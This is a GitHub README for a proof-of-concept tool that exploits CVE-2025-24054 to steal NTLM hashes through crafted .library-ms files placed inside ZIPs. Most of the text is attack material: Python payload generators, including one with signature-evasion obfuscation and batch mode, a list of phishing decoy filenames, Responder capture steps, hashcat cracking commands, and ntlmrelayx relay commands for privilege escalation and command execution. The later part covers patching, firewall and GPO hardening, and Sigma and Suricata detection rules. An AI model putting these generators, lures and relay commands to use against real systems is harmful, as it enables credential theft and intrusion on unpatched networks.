kaleth4/CVE--2025-24054
GitHub: kaleth4/CVE--2025-24054
针对 CVE-2025-24054 漏洞的 PoC 工具,通过构造恶意 `.library-ms` 文件实现零点击 NTLM 哈希窃取,支持混淆生成、批量处理和多协议投递。
Stars: 0 | Forks: 0
```
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ██║ ██║██╔═══╝ ╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝
██████╗ ██╗ ██╗ ██╗ ██████╗ ██╗ ██╗ ██████╗ ███████╗ ██╗ ██╗
╚════██╗ ██║ ██║███║██╔═████╗ ██║ ██║██╔═████╗██╔════╝ ██║ ██║
█████╔╝ ███████║╚██║██║██╔██║ ███████║██║██╔██║███████╗ ███████║
██╔═══╝ ╚════██║ ██║████╔╝██║ ╚════██║████╔╝██║╚════██║ ╚════██║
███████╗ ██║ ██║╚██████╔╝ ██║╚██████╔╝███████║ ██║
╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝
```





## 📑 目录
- [执行摘要](#-resumen-ejecutivo)
- [时间线](#-línea-de-tiempo)
- [攻击原理](#-cómo-funciona-el-ataque)
- [Payload 技术分析](#-análisis-técnico-del-payload)
- [生成脚本](#-el-script-generador)
- [优化版本 — Red Team Pro](#-versión-optimizada--red-team-pro)
- [使用 Responder 捕获](#-captura-con-responder)
- [NTLM Relay 攻击](#-ntlm-relay-attack)
- [防御与缓解](#-defensa-y-mitigación)
- [失陷指标 (IOCs)](#-indicadores-de-compromiso-iocs)
- [实践实验室](#-labs-de-práctica)
## 🎯 执行摘要
| 字段 | 详情 |
|:------|:--------|
| **CVE ID** | CVE-2025-24054 |
| **CVSS 评分** | 8.8 — **CRITICAL** |
| **类型** | Spoofing / 凭证窃取 |
| **协议** | NTLM over SMB (端口 445) |
| **交互** | Zero-click (仅浏览文件夹) |
| **补丁** | 2025年3月11日 — Microsoft Patch Tuesday |
| **CISA KEV** | 2025年4月收录 |
| **In the Wild** | ✅ 活跃攻击活动 — 东欧地区 |
| **向量** | `.library-ms` 文件 + Phishing / 下载 |
## 📅 时间线
```
ENERO 2025 ──── Descubrimiento inicial de la vulnerabilidad
Reporte privado a Microsoft Security Response Center
11 MAR 2025 ──── Microsoft publica parche en Patch Tuesday
CVE-2025-24054 oficialmente divulgada
MARZO 2025 ──── Primeras campañas activas detectadas
Phishing dirigido a instituciones Europa del Este
ABRIL 2025 ──── CISA agrega CVE-2025-24054 al KEV Catalog
(Known Exploited Vulnerabilities)
HOY ──── Sigue siendo explotada en sistemas sin parchear
Estimado: millones de máquinas vulnerables worldwide
```
## 🔬 攻击原理
### 5步完整流程
```
ATACANTE VÍCTIMA (Windows sin parche)
│ │
│ 1. Crea exploit.zip │
│ └─ Documentos.library-ms │
│ └─ XML apunta a \\ATTACKER_IP\ │
│ │
│ 2. Envía por phishing / descarga │
│─────────────────────────────────────────►│
│ │
│ 3. Víctima descarga
│ o navega a la carpeta
│ (sin abrir el archivo)
│ │
│ 4. Windows intenta resolver │
│ \\192.168.1.100\shared │
│◄─────────────────────────────────────── │
│ → Envía automáticamente Hash NTLMv2 │
│ │
│ 5. Atacante captura el hash │
│ → Crack offline o Relay Attack │
```
### 为什么它如此危险?
```
┌──────────────────────────────────────────────────────────────────┐
│ ❌ NO requiere ejecutar ningún programa │
│ ❌ NO requiere hacer clic en nada │
│ ❌ Basta con PREVISUALIZAR, SELECCIONAR o │
│ NAVEGAR a la carpeta que contiene el archivo │
│ │
│ ✅ El Hash NTLMv2 viaja al atacante AUTOMÁTICAMENTE │
│ ✅ El hash puede crackearse offline o usarse en Relay │
│ ✅ Funciona incluso con archivos en ZIP │
└──────────────────────────────────────────────────────────────────┘
```
## 🔩 Payload 技术分析
### 什么是 `.library-ms` 文件?
`.library-ms` 文件是描述 **Windows 虚拟库** 的 XML —— 即资源管理器中将“音乐”、“文档”、“图片”等文件夹分组的特性。
Windows 会自动处理它们以显示库的图标和内容。
```
true
\\192.168.1.100\shared
```
### Windows 读取 XML 的内部流程
```
Windows Explorer ve archivo .library-ms
│
▼
Parsea el XML en busca de
│
▼
Encuentra: \\192.168.1.100\shared
│
▼
Intenta autenticarse via SMB (puerto 445)
│
▼
Envía automáticamente: NTLM Negotiate → Challenge → Response
│
▼
Atacante captura el NTLMv2 Hash
```
### 捕获的 NTLMv2 Hash 结构
```
[*] NTLMv2-SSP Client : 192.168.1.50
[*] NTLMv2-SSP Username : CORP\john.doe
[*] NTLMv2-SSP Hash : john.doe::CORP:
1122334455667788:
A1B2C3D4E5F60718293A4B5C6D7E8F9A:
01010000000000002B2F1F8E...
↓ Crackear con Hashcat:
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
```
## 🐍 生成脚本
### 生成器结构
```
#!/usr/bin/env python3
"""
CVE-2025-24054 — .library-ms payload generator
Research & education purposes only — kaleth4 / WOLVES TI
"""
import zipfile
import re
import os
# ── 目标验证 ─────────────────────────────────
def is_valid_target(target: str) -> bool:
"""Valida que el target sea una IP o hostname válido."""
ip_pattern = r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$"
host_pattern = r"^[a-zA-Z0-9\-\.]+$"
return bool(re.match(ip_pattern, target) or re.match(host_pattern, target))
# ── 文件名清理 ─────────────────────
def sanitize_basename(name: str) -> str:
"""Elimina caracteres peligrosos del nombre del archivo."""
return re.sub(r'[<>:"/\\|?*\x00-\x1f]', '_', name).strip()
# ── 恶意 XML 构造器 ──────────────────────────
def build_library_xml(target: str) -> str:
"""
Genera el XML .library-ms que apunta al servidor atacante.
Windows intentará autenticarse automáticamente via SMB.
"""
unc_path = f"\\\\{target}\\shared"
return f"""
true
{unc_path}
"""
# ── 打包为 ZIP ─────────────────────────────────────
def write_zip_with_lib(basename: str, xml_content: str,
zip_name: str = "exploit.zip") -> str:
"""
Empaqueta el .library-ms dentro de un ZIP.
Razones:
- Evasión: filtros de email no bloquean .library-ms directamente
- Distribución: formato estándar de phishing
"""
lib_filename = f"{sanitize_basename(basename)}.library-ms"
with zipfile.ZipFile(zip_name, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(lib_filename, xml_content)
return zip_name
# ── Main ───────────────────────────────────────────────────
def main():
target = input("[?] IP/Host del listener (Responder): ").strip()
basename = input("[?] Nombre del archivo señuelo: ").strip()
if not is_valid_target(target):
print("[!] Target inválido. Abortando.")
return
xml = build_library_xml(target)
out = write_zip_with_lib(basename, xml)
print(f"[+] Payload generado: {out}")
print(f"[+] Apunta a: \\\\{target}\\shared")
if __name__ == "__main__":
main()
```
## ⚡ 优化版本 — Red Team Pro
### 实现的改进
```
┌──────────────────────────────────────────────────────────────┐
│ 1. OFUSCACIÓN XML │
│ Comentarios aleatorios → hash diferente en cada build │
│ Evita detección por firmas estáticas en EDR/AV │
│ │
│ 2. MULTI-PROTOCOLO │
│ UNC paths (\\host\share) → puerto 445 SMB │
│ WebDAV paths (http://host/path) → bypass firewall SMB │
│ │
│ 3. GENERACIÓN MASIVA (BATCH MODE) │
│ Leer nombres señuelo de archivo externo │
│ Timestamp en ZIP → no sobrescribir artefactos │
│ │
│ 4. NORMALIZACIÓN DE RUTAS │
│ Acepta cualquier formato de input del operador │
│ Convierte automáticamente al formato Windows válido │
└──────────────────────────────────────────────────────────────┘
```
### 优化代码
```
#!/usr/bin/env python3
"""
CVE-2025-24054 — Advanced payload generator
Red Team Edition — kaleth4 / WOLVES TI
"""
import random
import string
import datetime
import zipfile
import re
import os
import argparse
def build_obfuscated_xml(target: str, protocol: str = "smb") -> str:
"""
Genera XML con comentarios aleatorios para evadir firmas estáticas.
Cada build produce un hash de archivo diferente.
"""
# Normalizar ruta según protocolo
if protocol == "smb":
url = target if target.startswith("\\\\") else f"\\\\{target}\\shared"
elif protocol == "webdav":
url = target if target.startswith("http") else f"http://{target}/share"
else:
url = f"\\\\{target}\\shared"
# Comentario basura aleatorio → cambia el hash del archivo
junk = ''.join(random.choices(string.ascii_letters + string.digits, k=24))
# Namespace aleatorio extra → parece más legítimo
fake_guid = '-'.join([
''.join(random.choices('0123456789abcdef', k=8)),
''.join(random.choices('0123456789abcdef', k=4)),
''.join(random.choices('0123456789abcdef', k=4)),
])
return f"""
@windows.storage.dll,-34582
6
true
imageres.dll,-1003
{{fdd39ad0-238f-46af-adb4-6c85480369c7}}
true
true
{url}
"""
def generate_batch(targets_file: str, names_file: str,
attacker_ip: str, protocol: str = "smb") -> list:
"""Genera múltiples payloads con nombres creíbles desde archivos."""
with open(targets_file) as f:
targets = [l.strip() for l in f if l.strip()]
with open(names_file) as f:
names = [l.strip() for l in f if l.strip()]
generated = []
for i, name in enumerate(names):
target = targets[i % len(targets)]
xml = build_obfuscated_xml(target, protocol)
ts = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
zip_name = f"payload_{ts}_{i:03d}.zip"
lib_name = f"{name}.library-ms"
with zipfile.ZipFile(zip_name, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(lib_name, xml)
generated.append(zip_name)
print(f" [+] {zip_name} → {lib_name} → \\\\{target}\\shared")
return generated
def main():
parser = argparse.ArgumentParser(description="CVE-2025-24054 Payload Generator")
parser.add_argument("-t", "--target", help="IP/host del listener")
parser.add_argument("-n", "--name", help="Nombre del archivo señuelo")
parser.add_argument("-p", "--protocol", choices=["smb","webdav"], default="smb")
parser.add_argument("-o", "--output", default=None, help="Nombre del ZIP")
parser.add_argument("--batch-targets", default=None, help="Archivo con IPs")
parser.add_argument("--batch-names", default=None, help="Archivo con nombres")
args = parser.parse_args()
if args.batch_targets and args.batch_names:
print("[*] Modo BATCH activado")
generate_batch(args.batch_targets, args.batch_names,
args.target or "192.168.1.100", args.protocol)
else:
target = args.target or input("[?] IP listener: ").strip()
basename = args.name or input("[?] Nombre señuelo: ").strip()
ts = datetime.datetime.now().strftime("%Y%m%d_%H%M")
zip_out = args.output or f"audit_payload_{ts}.zip"
xml = build_obfuscated_xml(target, args.protocol)
with zipfile.ZipFile(zip_out, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(f"{basename}.library-ms", xml)
print(f"\n [+] Payload : {zip_out}")
print(f" [+] Protocolo: {args.protocol.upper()}")
print(f" [+] Apunta a : {target}")
print(f" [!] Recuerda: Inicia Responder antes de distribuir")
if __name__ == "__main__":
main()
```
### 推荐的诱饵名称 (`names.txt`)
```
Factura_Marzo_2026
Nomina_Empleados_Q1
Contrato_Proveedor_Firmado
Informe_Auditoria_Anual
Credenciales_VPN_Acceso
Presupuesto_2026_Confidencial
Acuerdo_Confidencialidad_NDA
Manual_Politicas_IT
Reporte_Incidentes_Seguridad
Documentos_RRHH_Privado
```
## 📡 使用 Responder 捕获
```
# ─── 1. 在分发 payload 之前启动 Responder ─────
sudo responder -I eth0 -wF -v
# ─── 2. 受害者打开 ZIP 时的输出 ─────────────────
[SMB] NTLMv2-SSP Client : 192.168.1.50
[SMB] NTLMv2-SSP Username : CORP\john.doe
[SMB] NTLMv2-SSP Hash : john.doe::CORP:1122334455667788:A1B2...
# ─── 3. 自动保存 hashes ────────────────────────
# Responder 保存于:/usr/share/responder/logs/
# ─── 4. 使用 Hashcat 破解 ──────────────────────────────────
hashcat -m 5600 \
/usr/share/responder/logs/NTLMv2-*.txt \
/usr/share/wordlists/rockyou.txt \
--force
# ─── 5. 替代方案:John the Ripper ──────────────────────────
john --format=netntlmv2 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
## 🔄 NTLM Relay 攻击
如果你无法破解 Hash(密码复杂),你可以直接将其**重用**于针对其他服务:
```
# ─── ntlmrelayx — 中继到另一台服务器的 SMB ───────────────
impacket-ntlmrelayx \
-t smb://192.168.1.20 \
--smb2support \
-socks
# ─── 中继到 HTTP/LDAP(在 AD 域中更有效) ─────────
impacket-ntlmrelayx \
-t ldap://192.168.1.10 \
--escalate-user pentest_user
# ─── 通过中继获取 SAM dump ──────────────────────────────
impacket-ntlmrelayx \
-t smb://192.168.1.20 \
--smb2support \
-c "whoami"
# ─── 中继流程 ─────────────────────────────────────────
# # 受害者 → [NTLMv2 Hash] → Responder/Relay → 目标服务器
# │
# └─► impacket 认证
# 使用窃取的凭据
# └─► 无需破解的访问
```
## 🛡️ 防御与缓解
### 优先级 1 — 立即修补
```
Microsoft Patch Tuesday — Marzo 2025
KB ID: KB5035845 (Windows 10/11)
KB ID: KB5035849 (Windows Server 2019/2022)
Verificar estado:
Get-HotFix | Where-Object { $_.HotFixID -eq "KB5035845" }
```
### 优先级 2 — 防火墙 (单台主机)
```
# ── Windows PowerShell (管理员) ──────────────────────
New-NetFirewallRule `
-DisplayName "Bloquear SMB Saliente - Prevent NTLM Leak" `
-Direction Outbound `
-LocalPort 445 `
-Protocol TCP `
-Action Block `
-RemoteAddress Internet
# 验证已创建:
Get-NetFirewallRule -DisplayName "*NTLM*"
```
```
# ── Linux / Kali ─────────────────────────────────────────────
# 阻止出站 SMB
sudo iptables -A OUTPUT -p tcp --dport 445 -j DROP
sudo iptables -A OUTPUT -p tcp --dport 139 -j DROP
# 设置持久化:
sudo iptables-save > /etc/iptables/rules.v4
# 验证:
sudo iptables -L OUTPUT -n | grep "445\|139"
```
### 优先级 3 — Active Directory GPO (企业环境)
```
Ruta:
Configuración del equipo
└─ Configuración de Windows
└─ Configuración de seguridad
└─ Directivas locales
└─ Opciones de seguridad
Directiva: "Seguridad de red: restringir NTLM: Tráfico NTLM saliente"
Valor: Denegar todo
Directiva: "Seguridad de red: nivel de autenticación LAN Manager"
Valor: Solo NTLMv2 (o deshabilitar NTLM completamente)
```
### 优先级 4 — SMB Signing (防 Relay)
```
# 在所有计算机上启用 SMB Signing
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force
# 验证:
Get-SmbServerConfiguration | Select RequireSecuritySignature
Get-SmbClientConfiguration | Select RequireSecuritySignature
```
### 优先级 5 — 禁用 NTLM (根本解决方案)
```
# 通过 GPO 或 PowerShell (Windows Server):
# 计算机配置 → 安全 → NTLM 限制
# → 出站 NTLM 限制:拒绝所有
# → 入站 NTLM 限制:拒绝所有
# 迁移到 Kerberos (AD 环境 2026+):
# NTLM 被视为遗留协议 — 消除它是理想选择
```
### 分层防御总结
```
CAPA MEDIDA EFICACIA URGENCIA
─────────────────────────────────────────────────────────────────
OS Patch KB5035845 ████████ INMEDIATA
Firewall Bloquear TCP 445 saliente ███████ INMEDIATA
GPO Restringir NTLM saliente ████████ ALTA
Red SMB Signing obligatorio ███████ ALTA
AD Deshabilitar NTLM █████████ MEDIA
EDR Detección .library-ms ██████ MEDIA
```
## 🔍 失陷指标 (IOCs)
### 可疑文件
```
Extensión: .library-ms (especialmente en ZIPs o emails)
XML pattern: \\[IP EXTERNA]\
Tráfico: SMB saliente (TCP 445) hacia IPs externas
Tamaño: Archivos .library-ms entre 400-900 bytes típicamente
```
### 需监控的 Windows 事件
```
Event ID 4624 — Logon exitoso tipo 3 (Network) inesperado
Event ID 4625 — Logon fallido con IPs externas
Event ID 5145 — Acceso a recursos de red compartidos
Event ID 4776 — Validación de credenciales NTLM
```
### SIEM Sigma 规则
```
title: Suspicious .library-ms File Access
status: experimental
description: Detects access to .library-ms files that may indicate CVE-2025-24054
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4624
- 4625
LogonType: 3
WorkstationName|contains: 'ANONYMOUS'
filter:
IpAddress|startswith:
- '192.168.'
- '10.'
- '172.16.'
condition: selection and not filter
falsepositives:
- Legitimate remote authentication
level: high
tags:
- attack.credential_access
- attack.t1187
```
### Suricata / Snort 规则
```
alert tcp $HOME_NET any -> !$HOME_NET 445 (
msg:"CREDENTIAL CVE-2025-24054 NTLM leak via SMB outbound";
flow:established,to_server;
classtype:credential-theft;
reference:cve,2025-24054;
sid:9025001; rev:1;
)
```
## 🧪 实践实验室
| 平台 | 推荐实验室 | 难度 |
|:-----------|:----------------|:------|
| **HackTheBox** | Forest, Blackfield, Monteverde | Advanced |
| **TryHackMe** | Attacking Active Directory | Intermediate |
| **VulnHub** | VulnAD, PwnLab | Intermediate |
| **Prolab HTB** | RastaLabs, Offshore | Expert |
| **Local** | Vagrant + Windows Server 2019 VM | 任意 |
### 最小本地实验室搭建
```
# VM 1: Windows 10/11 未打补丁 (受害者)
# VM 2: Kali Linux (攻击者)
# 网络: Host-only 或内部 NAT
# 在 Kali — 启动 Responder
sudo responder -I eth0 -wF
# 在 Windows VM — 解压恶意 ZIP
# → 使用 Explorer 导航到文件夹
# → Responder 自动捕获 hash
# 破解 hash:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```
## 📚 参考资料
```
📄 OFICIAL
├── Microsoft Security Advisory CVE-2025-24054
│ https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054
├── CISA KEV Catalog — April 2025
│ https://www.cisa.gov/known-exploited-vulnerabilities-catalog
└── NIST NVD — CVE-2025-24054
https://nvd.nist.gov/vuln/detail/CVE-2025-24054
🔧 HERRAMIENTAS
├── Responder → https://github.com/lgandx/Responder
├── Impacket → https://github.com/SecureAuthCorp/impacket
├── Hashcat → https://hashcat.net/hashcat/
└── CrackMapExec → https://github.com/byt3bl33d3r/CrackMapExec
📖 LECTURA RELACIONADA
├── MITRE ATT&CK T1187 — Forced Authentication
├── MITRE ATT&CK T1557 — Adversary-in-the-Middle
└── NTLM Relay Attacks — A Comprehensive Guide
```
## ⚠️ 法律免责声明
```
╔══════════════════════════════════════════════════════════════════╗
║ Este repositorio contiene investigación de seguridad ofensiva ║
║ con propósitos EXCLUSIVAMENTE EDUCATIVOS. ║
║ ║
║ USO AUTORIZADO: ║
║ ✓ Entornos de laboratorio propios y controlados ║
║ ✓ Engagements de Red Team con contrato firmado ║
║ ✓ CTF y plataformas de práctica (HTB, THM, etc.) ║
║ ✓ Investigación académica y certificaciones ║
║ ║
║ PROHIBIDO: ║
║ ✗ Sistemas reales sin autorización escrita ║
║ ✗ Redes corporativas o gubernamentales ║
║ ✗ Cualquier uso malicioso o criminal ║
║ ║
║ Colombia: Ley 1273/2009 — Pena de 48 a 96 meses de prisión ║
╚══════════════════════════════════════════════════════════════════╝
```
**Made with ❤️ by [kaleth4](https://github.com/kaleth4) | WOLVES TI**




标签:AMSI绕过, HTTP/HTTPS抓包, 企业安全, 威胁检测, 安全大数据, 安全运营, 开源自研, 态势感知, 态势感知平台, 扫描框架, 网络安全, 网络资产管理, 逆向工具, 隐私保护